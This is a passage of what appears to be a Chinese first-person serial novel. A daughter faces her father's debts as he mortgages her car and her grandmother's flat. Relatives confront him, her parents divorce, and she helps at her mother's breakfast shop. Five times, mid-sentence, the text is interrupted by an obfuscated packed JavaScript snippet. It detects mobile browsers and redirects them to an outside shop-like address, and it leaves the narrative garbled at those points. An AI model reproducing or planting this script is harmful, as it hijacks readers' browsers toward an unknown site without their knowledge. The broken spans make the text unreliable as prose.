妈妈探头出来,吃惊不小。原先豆皮摆在屋里,不大卖得动,常常一锅都有剩。虽然门口的招牌上写着豆皮,人们却总会过来询问有些什么,而非去看招牌。她只准备了一锅量的糯米,即便早早卖完,今天也只有这一锅。 本以为随着日头升起,生意会有起色。七点半之后,街上的人流再次松散,车辆渐渐增多,八点以后,少有人进店。 “今天就到这吧,你先回去,好好睡一觉。” 我知她一贯守到十点。“我再陪你一会。” “五伯等会到店,你是喊他不喊?”妈妈玩味地问我。 吕嵩群家中排行第五,熟识的人都喊他五子。他姑且算作爸爸的同事,亦与妈妈相识。早些年,我称呼他一声五伯。可如今,此人在我这,卑鄙龌龊无出其右。 “你跟他现在是什么关系?”我开门见山道。 “我需要和你交代?呵,你还管到我头上来了!先把你自己的日子过明白吧!” 和妈妈坦白之际,无意间听到她和吕嵩群通电话。我已想明白,她无需选择自己的亲生女儿,一如她无需选择自己亲手组建的家庭。人活着,心中的那个软处,总得有人不时松松土、浇浇水。家人无法满足她的需求,也怨不得她找别人。 天要下雨,娘要红杏出墙。我无可奈何。可这无碍于我对吕嵩群的厌恶。 之前晚上去店里帮忙,亦看到吕嵩群给妈妈发的消息。这两人挺有意思,一个人的昵称叫润物无声,另一个则是云卷云舒,两年过去,头像都没变。 “婧康的幺儿今天生辰,全家都在湖悦给他庆祝。你要不要过来,一起热闹下?” 杉湖第一家肯德基开业,我和同学约好,却意外撞见妈妈带吕婧康一起。那时我是准初三,对家庭的幸福百分百笃定。 及至一八年外婆替妈妈拿乔,道出吕嵩群追求妈妈在先,却意外促成妈妈与爸爸相识。吕嵩群明里暗里言行上于我的贬低打压,自此有了水到渠成的解释。 人竟能恶心至此,伺机拆散他人家庭!倘若男人有心挖墙角,真可谓防不胜防! 我没有听闻吕嵩群离异,吕婧康长我五岁,与妈妈甚为亲密,若说她不知情,呵,打死我也不信。愚钝如我,天底下难找第二个。那么,她对自己妈妈的态度,就值得商榷了。 我已觉得反胃,毅然起身离开。 11. 回忆:城里房产将被抵押 11 之前买了不少麦片,小包装,饱腹感强,还不会把手弄脏。一袋有十来包,额外还送三小包,平均下来,一包才两块钱。耐不住我吃相恐怖,虽不觉得饿,仍一袋接一袋地往嘴巴里送,一次没个三四包,根本停不下来。原先上班的时候,每天都得带一搂。余下的不多,吃完后,不打算再买。 大学毕业至今,我一共裸辞过三回。一六年自儒伊,二一年自驷铠,今年,二五年,从泽铯。 二一年从驷铠离职,是为了转岗虚幻,与此同时,我的网贷即将爆雷。这一事我无可辩驳,报复性消费也好,补偿性消费也罢,利滚利夹杂其中,根本原因是我金钱观有问题。 我不欲越陷愈深,与家人坦白之际,发现爸爸的资金亦周转不过来。 妈妈拍板将杉湖的房子拿去抵押,那套房子在爸爸名下,他没有反对。贷款期限为八年,月供不足七千,其中两千,归为过桥前的贷款,由爸爸承担;在我找到工作之前,爸爸替我分担三千,此外,每月还给我两千用作生活费;余下不足两千的部分,妈妈替我分担。 去到泽铯,工资低了许多。试用期每月到手不足六千,我转给爸爸两千;转正后七千出头,自己承担的部分便增至三千。每月还剩四千来块钱,手头不似待业那般捉襟见肘。 我上岸了,在于可以依靠父母。可爸爸能够依靠谁呢?为人子女,我尚未成长到父母可以依靠的程度。 二二年至今,爸爸固执己见,仍在投资。二四年年初,他借无可借,把车拿去抵押后,又打上了我的主意。 那时我刚上班,每日往返地铁站,轿车于我是刚需。此外,偶尔出去采买,也离不开车。 二零年爸爸不欲继续接送我上下班,本着“老子有姑娘也有”的初衷,替我买了车。车不在我名下,起先是不想背负贷款,后来也没提改名。 我打心底不认为这车属于我,即使车由我选,购买后也由我使用。爸爸找我借过几次,言语间,不似有拒绝的余地。 “我一定会跟你赎回来的。”他作出保证。 “你没有工作的时候,我毫无怨言地提供经济支持,你不能见死不救。”他所言非虚。 我深知他已然魔障。挣扎过一次,他再次上门,我把车钥匙给了他。 我在脑海盘算,彻底失去这辆车之前,自己得抓紧时间考个摩托车驾照。冬天骑摩托去地铁站,那得多冷呀!这辆车的加热坐垫和加热方向盘,到那时,一定好似一场遥不可及的梦。 对爸爸爆雷的担心,困扰我三年有余。我定期给他去电,关心他是否完蛋。 从泽铯辞职,一次通话中,我得知他欲将齐安的房子拿去抵押。 齐安的两套房,不仅有物质上的价值,更关系到家族的荣誉,和责任的传承。高中时,那两套房子再次还建,这一回,爷爷奶奶特意选了门对门的两户。 爸爸提出将车拿去抵押,我设想过齐安那套房子传不到我手上的可能。我能够接受他将房子卖掉抵债,纵使倾家荡产,清白犹在。可他如今这一手,让一切彻底幻灭。 溪辞本科毕业后去国外深造,这些年,我和她断断续续有联系。去年她回国,我有和她透露对爸爸经济上的担忧,具体为何,我没有明说。爸爸那边的亲戚,大抵知道他经济出了问题,至于严重到何种程度,还被蒙在鼓里。 “你跟他们坦白了?” “嗯。” “奶奶和大伯都晓得了?” “是的。”好家伙,大难临头,也顾不上老母亲是否承受得住! “他们都不反对?奶奶跟大伯可都住在里面呀!” “他们能说什么呢?” 房子在奶奶手上,她可以拒绝你。我在心中腹诽。 爷爷去世后,房子仍在他名下。其中一套,自装修完,一直出租。奶奶住在另一套。说来也巧,老李家真是流年不利,溪辞出国后不久,大伯母首先爆雷。 她大伯母单位早年分了一套房,事情发生后,卖以抵债;大伯单位亦有分房,不过,早就出售用作溪辞的留学资金。之后,大伯一家搬去与奶奶同住。 “所以现在是怎么个事?房子已经拿去抵押了?” “还在公证,房产证到手就拿去抵押。” 电话挂断,我神游了许久。 公证、房产证、抵押,这三个词我还未串起来。上网查阅资料,方才弄清楚流程。作为遗产,配偶和子女均享有继承权,第一步,则是放弃继承权的继承人到公证处签署《放弃继承权声明书》。之后,房产证改名,爸爸将房产证作为抵押物,方能申请贷款。 杉湖的房子已拿去抵押,若是齐安的房子也如此,贷款反噬后,爸爸连容身之所都没有,这才是最致命的地方。 大伯母与大伯感情尚可,纵使无钱财傍身,她晚年无忧。可爸爸不同,榕潭的房子在妈妈名下,他二人的关系,名存实亡。 我意识到,自己接下来的任何行为,都不存在捅破窗户纸、忤逆到爸爸的风险。 爷爷去世后,我与堂亲见面的次数一只手就数得过来,除去溪辞,再没有可以联系的人。她工作一直很忙,近来并没有和家中联系。从我这里知悉事态的发展,她立即建群,把表姐拉了进来。 这些年,溪辞在国外,我不去奶奶家,奶奶跟前的年轻一辈,只有江璟。她为人爽快,做事利落,性格可张可驰,打小就能反唬住大人。 “其实上回一家人的态度都很坚决,怎么突然变成了这样?” “是你爸爸和你说的吗?房子拿去抵押了?”江璟问道。 “说是在公证,下一步就是抵押。”我回答。 “昨天蛮好,我妈也在家家屋里。你爸现在应该在打麻将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301286|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我觉得你可以跟你爸聊聊。我现在过去,我们两个人都找他们,让他们重视。”她对溪辞说。 既然爸爸在电话里提到了公证,我想,公证期可以作为一个突破口。如果在公证期内取消公证,爸爸就做不得这个房子的主。 我搜索了离奶奶家最近的公证所,去电咨询,得知公证期有十五天。如果对继承有异议,可以撤销。 当天稍晚时候,江璟在群里确认,一家人去的就是这个公证所。 “如果你真的想这么做,我妈说,你,翕翕,就和我妈还有溪辞爸爸一起去把这个东西撤销。”江璟说道。 “好,我最近都有时间。” 第二天,江璟主动在群里问溪辞和她爸爸沟通得如何。 溪辞发起通话:“翕翕,你要不要去齐安一趟?奶奶和我爸爸想当面和你商量这个事。” 其实昨天,我已后悔与大伯和孃孃一同站在爸爸的对立面。 如果我注定要失去齐安的房子,我希望爸爸将其拿去抵债而非殊死一搏。在一个人无法自保的时候,不应该要求他还考虑别人,这并非不道德;而那些不被考虑的人,应该去理解这个人的处境,这恰恰是道德。 过去三年,我不止一次设想,将爸爸的情况告知大伯和奶奶会如何。我人微言轻,却心怀希冀,觉得他们能劝住爸爸。可我没有这么做,我自知承受不住可能面对的爸爸的发作,而这是否于他有益,以我对亲情的愚昧,不知该作何种相信。 我想,即使爸爸要将房子拿去抵押,他没有选择那条更明智的路,恰恰是因为他无法面对彻底失去房子的恐惧。他在苟延残喘,我也不想逼迫他在此时此刻面对死刑的宣判。 “这件事,到此为止吧。我经不起折腾了。” 我仍身处惶恐中,拒绝参与得更深,让我从半空着了地。 溪辞欲言又止,最终没说什么。 这些年,我一直期盼着审判尽快到来,不止是对爸爸,更是对这个家,对我的审判。可爸爸硬生生苟了三年,预备赔进全部家产,和自己的后半生。原本在我人生中作为砥柱的家庭,不仅化为乌有,还成了坏账。 我想问爸爸行事为何不考虑家人?可谁是他的家人呢?他在原生家庭排行老二,相比第二个儿子,奶奶更想要女儿。孃孃出生之前,奶奶常给爸爸扎小辫,那张照片我见过不止一次。自己组建的家庭?爸爸这一生,无心经营自己的小家,在榕潭举目无亲;他紧紧握住自己在齐安的根,他的原生家庭,是他与这弄人世事相抗衡的最佳武器。他付出金钱,只是因为责任,他付出时间,这绝非出自主动选择。 辜负与否,我作为晚辈,无从论及。我只知道,在他漫长的一生,两个家庭,都没能成为他的支撑和牵挂。 他是个可怜人,无他。当人们无能为力时,命运这个解释,揽括了一切。 12. 2025年5月,第21周 12 [2025年5月,第21周] 事情并没有在这里结束。 第三天,起床后不久,楼梯间传来熟悉的谈话声,当他们喊出“翕翕”,我确认了门外何人。 爸爸也惯喊我“翕翕”。爸爸这边,我这一辈,三个小孩,这个来,那个去,每个人的名字都喊得格外亲切。我爸喊我,感情不怎么饱满,可他的家人这么喊我,已深深刻在我的脑海。只是尘封已久,亲切又陌生。 “这一间!”我应声道。他们上一次来这,还是我十岁生日那年。居然能找上来,我有些吃惊。 “稍微等一下,我换个衣服。”我把脱兔关进房间,不一会儿,打开了门。 大伯先进屋,戴着一顶军绿色平顶帽。奶奶随后,九十岁的高龄,头发白得发黄,手举一根拐杖,身上斜挎着小包。孃孃拎着一袋水果,跟在奶奶身后,江璟停完车,最后一个上来。 “用不用换鞋子?”大伯问道。 “没得事,直接进来。” 站在门口我有些发怵,来我家的人实在是少,家里的卫生也搞得不行。奶奶径直走向沙发,大伯跟在她身后,我看着他们挨个落座,把“沙发很脏”这句话老老实实地吞到肚子里。 家里的沙发只有一个家伙在使用,那就是脱兔。 孃孃把水果放在餐厅的饭桌上,说道:“也不晓得你喜欢吃什么,一样买点了。” 我面带赧色地说了声“谢谢”。 我拼命在脑海里回想待客之道。“我给你们倒点茶。” “都带了水。”大伯答我,奶奶亦从包里拿出水杯。 “不用,不用。”孃孃和江璟连忙说道。 我思考了一下,从冰箱拿出冷藏的奶酪块,递给了他们。这一回,他们没有拒绝。 “你妈妈没和你住一起吗?”孃孃开口问道。 我不确定他们知道多少我家的事,回答说:“她自己租了间房子,现在在街上开早点铺。” “姜棠一向能干,之前还搞水产养殖。”奶奶说。 “上回来这边已经蛮久了,家里后来又装修了?”孃孃抬头望向天花板吊顶的石膏装饰,问道。 “搬回来之后,重新装了灯。”我回答。 很不巧,客厅的灯罩由于太重,整个掉下来碎掉了。这无碍于灯的功能,我不介意,就放着没管。 孃孃看着头顶裸露的LED灯条,再次环顾四周,找补道:“家里打扫得蛮干净呀!” “我们这回来是想和你商量你爸爸的事,溪辞说你不想去齐安,今天正好周六,我们就坐江璟的车过来了。”大伯开口道。 “每回来乡里上坟,都从楼下过,一直想上来看看,就是没有机会。”大伯接着说。 我一脸谄笑,他们家的活动,爸爸从来不通知我。爷爷葬礼结束,我再没有拜祭他老人家。 “上回见面我还开玩笑,说你再不来看我,我就去你家找你。没想到,还成真了。”奶奶补了一刀,我继续赔笑。 “你爸爸这个事,我们也是才晓得。之前他找你大伯借过一回钱,没得多长时间就还了,我们就没当回事。哪知道有这大个窟窿!”孃孃说。 印象中,爸爸找我商量抵押车子的时候,提过这事。 “你爸爸那天过来说要把房子拿去抵押,大家一开始都不同意。但是你爸爸说得蛮吓人,我们不同意也不能跟他对着来,后来还是一起去公证了。” “这个你要感谢孃孃呐!我跟奶奶都不打紧,她可是二话没说直接放弃继承。”孃孃拍了一下大伯胳膊,打心底没在意这件事情。 “我们也不知道你是怎么想的,也想着说听听你的看法。你爸爸说他把你的车子拿去抵押了,他闹着要钱,也是因为你闹着要车。我们没有办法,只能同意。”大伯解释道。 “我没有闹着要车,这是他瞎说。车子都给他拿去抵押了,还有什么好闹的。”奶奶看向我的目光,温和了几分。 “我那天跟他打电话,才晓得他把奶奶的房子拿去抵押了。”我解释道,“这个事情很不好。杉湖的房子因为我的原因已经拿去抵押了,奶奶的房子要是也不在了,他以后连住的地方都没有。” 大伯没有追问杉湖的房子被拿去抵押这件事,他“嗯”了一声,就算掀过。 “翕翕这个话说得蛮有道理。”孃孃接着我的话说:“钱还有退休金去还,没有地方住,就蛮难了。” “溪辞妈妈还不是一样,退休金比谁都高,每个月钱一到帐立马就被划走。”大伯拿出手机,把通讯记录划拉给我看,“到现在,还有人每天跟我打电话,要你女伯伯还钱,拉黑都拉不完。” “你看我头发。”他取下帽子,接着说:“为这个事都白了。” 大伯母爆雷后,与大伯离婚,两人做好财产分割,她的那一份全填了窟窿,大伯由于全程不知道更不谈参与,保全了自己的那部分。 我很晚才得知大伯母的事,后来安慰溪辞,听她提起过几句。 所有的家人都非常庆幸她在国外,没有被这一事件波及。 “他们拎着油漆桶上门了好几回呀,我跟他们解释也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301287|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释不清楚,拦也不敢拦,只能由着他们泼,过后再去刷,怎么刷都刷不干净呐!”奶奶戴上痛苦面具,那段时间的遭遇,清晰得宛如发生在昨日。 “溪辞在电话里说你现在在吃药,担心得直哭。”奶奶突然提起这件事。 确实,上回和溪辞视讯,我和她说了自己在吃药的事情,与此同时,也叮嘱她不要和家里人讲。没想到她转头就告诉奶奶,居然还哭了。视讯时,她神情并无异常。 “你要振作呀,翕翕!”大伯突然鼓励我。不得不说,这一句,我听了很是受用。 “不就是车唦,我跟你买一辆。这有什么大不了的。”大伯继而说道。“溪辞那辆车,我还不是出了钱的。我那个时候也没有多少钱,但她开了口,我又不能不给。” 我有些震惊,连忙拒绝:“我有车,车还在,还在。” “我同事之前跟我说,姑娘出了国,再也不回来,就相当于是给外国人养的。我一听,不就是这个事。你们这一辈,溪辞在国外,你又蛮少过来,只有江璟在跟前。”大伯感慨道。 “哎哟,瞎说什么唦!”孃孃打断他。 我不知说什么好,大伯看我如此,不再继续这个话题。 “我们几个在这里也聊不出来什么,要不然,我们一起去找你爸爸?”大伯提议道。 我想了想,本来就该这样。我表示同意,他们一行人起身准备离开。 “江璟还没有去过杉湖的那套房子吧?我记得溪辞出国前,老去那边。”大伯突然说道。 “哪个说的,我经常去,熟得很。”江璟一个反驳,大伯乐呵了一声。 江璟只去过一次。她那时还在谈朋友,有事来武陵,顺便给我打了电话。 她的个性格呐,有意思得很! 出门前,奶奶从挎包拿出一沓钱,颤颤巍巍地递给我:“蛮长时间没见,也不晓得说什么好。这是一千块钱,你拿着。” 我自然没要,奶奶的退休金本来就少,好在有房租,多少补贴一点。我都没给过老人家钱,哪有倒拿钱的道理。 “我有钱,不用。” 或许奶奶知道我的为人,没有多说,孃孃过来劝她:“您把钱收好,别弄丢了。” 我把茶几上的垃圾一收,唯独孃孃,把包着奶酪的锡纸,扔进了茶几上空着的小花盆。 大伯本想坐我的车,奈何车子又亏电。加上我刚好五个人,便都坐江璟的车。 “我晓得你闻不得烟味,这根烟抽完了,我再上车。”我倒是没见过大伯和谁说话这么客气。只能是江璟了。 13. 2025年5月,第21周 13 [2025年5月,第21周] 我没和爸爸打招呼,带着一行人直接上门。 爸爸开门后,明显愣了一下。却也没说什么。 在杉湖上学,家里一直绕着学校租房。父母没有在这套房子请过客,因着我的缘故,溪辞过来住过几回。奶奶来过一次,那回我不在家,后来听爸爸提起才知道。 和妈妈搬回榕潭后,爸爸一个人住在这里。原本客厅空落落的,可他书多,正愁没地儿放。他把不看的书用快递箱打包,放在客厅,渐渐堆成小山。而后,他把我房间没带走的书打包,把小山码得有墙高。接着,继续买书把我的书柜填满。这个家,可谓是书满为患。搬进来这些年,我怀疑地板都下沉了不少。 不比乡下宽敞,大伙进了房间,凳子不够坐,只得坐在床边。 爸爸有些局促不安。他没必要瞒着我,却也想不到我会和他的家人一起上门。 “我们今天过来,主要还是想劝你,不要把齐安的房子拿去抵押。”大伯作为一家之主,说了开场白。 “老娘年纪也大了,听到你说要把房子拿去抵押,好几个晚上都睡不着觉哇!” “那几天,她连做饭的心情都没得。” 我没忍住翻了个白眼,把目光移向别处。 “你之前说翕翕同意,结果她也不赞同。人年纪大了,还是要听晚辈的话,这是她们的时代,她懂的不比你多?”大伯继续加码。 “都不管,不管,这是我的事。”爸爸开口说道。 “这不能不管呐,”奶奶开始着急。“我一条腿都踏进了棺材,房子在不在,都是我死后的事情。” “但你还活着在呀,我怎么能不担心你咧?” “翕翕有个话说得蛮对,齐安的房子没有了,你以后住哪里咧?”孃孃补充道。 “都说了,不要你们管。都回自己屋里去,这个事情已经这样了,哪个都管不了了!”爸爸还是一副没得商量的模样,一点都不松口。 “是你说的呀,要我不给奶奶添麻烦。上回我心脏不舒服去齐安的医院,你硬是要我在楼下吃完饭再上去,怕奶奶给我做饭累到了。你现在,难道不是在跟奶奶添麻烦吗?”爸爸一向孝顺,容不得旁人说奶奶半句不是。 “你不是一直都说房子是奶奶的吗?奶奶还在,你怎么要把她的房子拿去抵押?” “大伯说奶奶担心到连觉都睡不好,这是你为人子女能够做的吗?” 爸爸没作声,双手反复搓着。我感觉他下一秒就要哭出来,这才意识到自己把话说重了。 “是唦,你一向最孝顺老娘,每回回去都买一堆水果。”孃孃连忙认可爸爸的孝心。 “我总是和他说不用买,我吃不了,钱留着好好过日子。他回回都买一些。去别人家做客,从来不空着手去,大家都说他这个人蛮大礼性。”奶奶也替爸爸说话。 我看着爸爸,他低着头,还是不说话。 “你爸爸刚工作的时候,工资不高,我那个时候还没有工作,他就说要给我零花钱。我说不用,他硬要给啊!他人还是蛮好的!”孃孃对我说。 “翕翕也蛮讲客气,每回去我家都买东西。”孃孃补充道。“你不为自己想,也要为伢想,你总要给她留点什么吧?” “我不用你把房子留给我,你可以拿去卖了还债。但你继续拿去抵押,这钱就没法还清了!你不为我考虑,也得为你自己考虑!” “小叶那个事,我当时也想帮她把钱还上。她一个劲地说这个事情不用我管,我也管不了。你到底欠了多少钱?我手上也有一些钱,我们一起把债还了,行不行?”大伯话锋一转,劝不了我爸,就开始思考怎么解决这个问题。 “这你哪还得上咧?我当时拉你都没拉住。”孃孃劝大伯。 “我之前也和我爸爸说过,我贷个款,一次性跟他把钱还清,大家再一起慢慢还贷款,日子也能过得下去。结果他让我把钱贷出来给他继续投资,我真是没得办法。”想起这件事,我说了出来。 “哎哟,这好的伢,着伢看,你也不能把所有东西都搞没呀!她现在还在担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301288|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心你以后怎么办。”突然之间,大伙转而夸起我来。 爸爸再次开口,“把房子拿去抵押,我再试一回,都能赚回来。” “那要是赚不回来咧?”奶奶问道。 “赚不回来,哼!”爸爸没有把这句话说完,大家明白其中的意味,全都噤声。 “舅伯你要是有什么赚钱的好法子,说出来大家一起呀!”江璟先前一直摆弄手机,这个时候,才开口说出第一句话。 爸爸听闻不禁发笑。过了一会,他说:“都回去吧,这个事就这样了。都不要操心我,操心不完的。” “老娘年纪也大了,跑来跑去身体也吃不消。都散了吧。” 我意识到没人劝得动他,环顾其他人,大概也都觉得这场对话已进行不下去。 大伯叹了口气,“我还能说什么呢?该说的都说了。”他起身往门外走去。 一行人下楼,江璟本想把我送回乡下。我说自己打车就好,让他们直接回去。爸爸说他开车送我,我没拗过他。 开车路上,爸爸开口第一句,与这次上门无关:“你和溪辞说你再吃药?” “嗯。” “你倒是什么都和她讲。”后面的话,他不说,我也知道是什么意思。 “你工作找得怎么样?”他再次开口。 上次联系他,还是给他发项目展示视频。他不回我,我又打去电话。 “我发给你的东西,你看了没有?” “那个啊,看了。” “你没有什么想说的?” “哼,那简单个东西,AI都能做。” 我忍俊不禁。项目诚然并不复杂,可要说AI能做,未免轻视得太过。AI能写代码,权当用作参考。 “行吧。”这次对话以此告终。 “还在投简历。”我回答。 “你车怎么了?” “电瓶又坏了。” 他把我送回乡下便折返。我下单了之前看好的蓄电池,一个小时不到,已更换完毕。这一天,真是各种滋味掺杂。 14. 2025年6月,第23周 14 [2025年6月,第23周] 到店里帮工,妈妈正着手准备与爸爸离婚之事。 奶奶一行人来榕潭找过我,我告知了妈妈。 父母之间的感情,实在难以评价。任谁也想不到,自由恋爱能走到这种田地。 爸爸不会主动提出离婚,事关齐安的房子,利弊了然于胸。 妈妈亦不会主动提出离婚,除去财产分割,还有很多不言而喻的纠葛。 直到齐安的房子不保,于妈妈,已到了壮士断腕的地步。她只要在她名下的榕潭这套老房。唯一还未达成一致的,是杉湖那套房子的还款方案。 爸爸起初不欲帮我,妈妈提出她做主借,他这才顺水推舟。家中许多内里,我都是从另一方口中得知。 “你跟你爸爸打个电话,劝他把那三千块钱认下。”妈妈向我提出要求。 “你自己和他说呀!”我不欲掺和。 “打电话不接,发消息不回,你让我怎样和他说!” 我深知那三千块钱本该是我的责任。除去她联系不上爸爸,我也知悉她的意图。 爸爸虽常拿生活费要挟我,可即使我与他仍在争执之中,生活费不曾短缺过。生活上妈妈不提供助力,买东西却出手大方。 这次,妈妈久久不提替我还钱的事,颇不像她。 上回和爸爸联系,还是告知他找工作的进展。他希望我去外地,自己扛起自己的责任。辞职后我便停止给他转钱,可妈妈上个月收到的转账,是足额。 在妈妈的催促下,我给爸爸打了电话。 “我有个事想跟你说。” “嗯。” “我干不了这行了,之后准备考公。” “我的情况你也晓得,我要是失信,对你有没有影响?” “普通的公务员岗位可能不受影响。”虽然这么说,我无法打包票。 “公务员政审,应该是对失信本人有限制,对其子女暂无规定。我想着试一试。” “什么时候考试?” “年底吧。” “那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301289|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去考吧。贷款我先帮你还。”他主动提出。 “听你妈说你又欠了钱?”他突然提及这件事。 “之前的笔记本显卡不行,我折腾不动,配了台主机。”我解释道。 “嗯。” “爸爸,那个,我那部分的贷款,能不能在离婚协议上挂在你名下?” “我找到工作后,每个月还跟之前一样把钱转给你。”我难以启齿地开口。 “可以。”他没作思考就同意了。 “谢谢你,爸爸。” “哼,你之前都不喊我爸爸。”他并非不在意。 “就这一次机会,你抓紧了。”说完这句话,他把电话挂断。 妈妈如愿拿到离婚协议,和爸爸约好时间去民政局。我看着协议上没有争议的另外两条,心中更加自责。 “位于上庸市武陵区杉湖镇XXXX房屋归男方所有,继承权归女儿……” “男方名下……车辆二轿车归女儿所有……” 妈妈名下所有财产,只标注了归属权。 15. 2025年6月,第23周 15 [2025年6月,第23周] 在店里工作数日,我渐渐熟悉工作流程。 每天用完晚饭,离开前,提醒妈妈把豆皮馅料放到冷藏室解冻; 到店后,给电热水壶加水,按下开关,并给调料台上的酱油泵通上电,开机; 之后,分装碗面和豆浆,在妈妈制作豆皮之前,铺好糯米、从冰柜取出鸡蛋。 我眼里有活,妈妈做事愈顺,看向我的眼中亦带有欣喜。 “哎哟,有这样的员工还挑三拣四,你之前的老板可真是身在福中不知福。”我对这类话无感,不过是拿一份钱,出一份力罢了。 到店吃面的,多是妈妈的熟人。她在乡下长大,由老及幼,加上邻里街坊,构成店里扎实的客群。 城里的牛肉面馆之所以能大行其道,用料扎实是一方面,消费实力才是不能罔顾的根本。 妈妈的热干面没有走这条道,她从师父那订了特制酱油和秘制花生酱,以此保证口味的醇厚;她不追求原汤,反而促成口感的干净。加之有竞争力的价格,和客制化的服务,店里留得住常客,也迎得了新人。 顾客用完早点,赶上店里不忙,还跟她聊上几句。 “这是你家姑娘啊?” 妈妈笑着点点头。 “哎哟,现在的伢肯吃苦的不多了哇!我屋里那个,喊他吃饭都得三催四请,一天到晚抱着个手机刷个不停,再要么,出去玩得不见踪影!还是姑娘伢好,贴心!” 妈妈被夸得脸上笑开了花,和我说话也愈温和。 她以前的同事上街,亦打趣她:“姜姐,钱是赚不完的!好不容易退休了,又到街上做早点,我的个姐嘞,你怎么这么能干!” “嗯,我晓得的!来,尝下我的手艺!”妈妈顺便揽客。 街对面的老板亦常来照顾生意。 裁缝铺的老板是妈妈的牌友,夫妻二人早餐常吃拌面;水果店的老板每天雷打不动一碗炸酱面;白酒店的老板打声招呼,妈妈便开始准备蛋酒,一磕就是两个鸡蛋,只加醪糟不加糖。妈妈嫌我把蛋花打得不够碎,只让我把蛋酒和豆皮送去对面,并叮嘱我要有礼貌:“方老板,我给您送蛋酒和豆皮来了!” “进到店里这样说,知不知道?” 我不置可否,心知自己干不来这样的事。 爸爸的老领导也常来光顾。 街上少有爹爹,或是同婆婆一道。比如上街赶集,往往是爹爹骑着电动三轮,婆婆坐在驾驶位的右侧。 俞处长则不同,每日拖着小车独自一人上街。我就此问过妈妈:“他家为什么是男方买菜?” “哦,他屋里婆婆腿脚不便,子女又不在身边。你别看他上了年纪,身子骨硬朗着呢!上午把婆婆招呼好,下午还要去麻将馆打牌!” 原来是这样。 我很少主动与人结交,与家中长辈相处,也有些许不自在。每每看到俞处长,既担心打招呼显得突兀,可不打招呼又自觉不是。 纠结几次后,索性主动开口。 “您早上好呀!”目光对上,我便主动问好。他亦微微点头,返程时,捎上一碗拌面。 稍晚时候,一人把车停门口,进到店里。 “郝书记,什么风把您吹来了?”看到来人,妈妈迎了上去。 那人一笑,说道:“给我下碗拌面。” “好嘞,您稍微坐一下。” “小翕,给怹倒杯豆浆。” “好。”我答道。 “不用,我打包带走。”那人说道。 “那你给怹拿杯封好了的。” 我把豆浆打包,递给那人。 “这客气,谢谢了啊!”那人说道。 妈妈加完调料,从柜台后走出来。 “葱和醋,都给您加点?”妈妈问道。 “可以。” 妈妈打包完递过去,开口道:“郝书记,我有个事要拜托您欸!” “嗯?你说唦。” “这是我姑娘,现在在家准备考公。您别怪我话说得直白,这其中有没有什么门道唦?” “哪有什么门道,现在都兴自己考!我屋里还不是个女儿,在家关起门来学习,刷的卷子堆成了座小山,好在去年考上了!”他并不见怪。 “哦,她考到哪里去了?” “就在武陵,复兴村街道!”P+R停车场就在复兴村的地铁站旁。 “您帮忙问一下,肯定还是可以打点的!”妈妈坚持。 “哎哟,小姑娘还年轻,认认真真学,考得上的!” “我还有事,先走了啊!”那人边说边下台阶,驱车离开。 老一辈的有这种心思很常见,虽然有些丢人,可我能说什么呢?如果我有工作,妈妈也不必这样拜托别人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301290|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她每天起得比我早,睡得比我晚;做得还比我多。 我充其量不过打打下手,店里的事,全靠妈妈张罗。每天回家后,她还要把第二天要用的豆子和糯米洗净泡在凉水里。她早上三点就得起来,用甑子把糯米蒸熟,再运到店里。 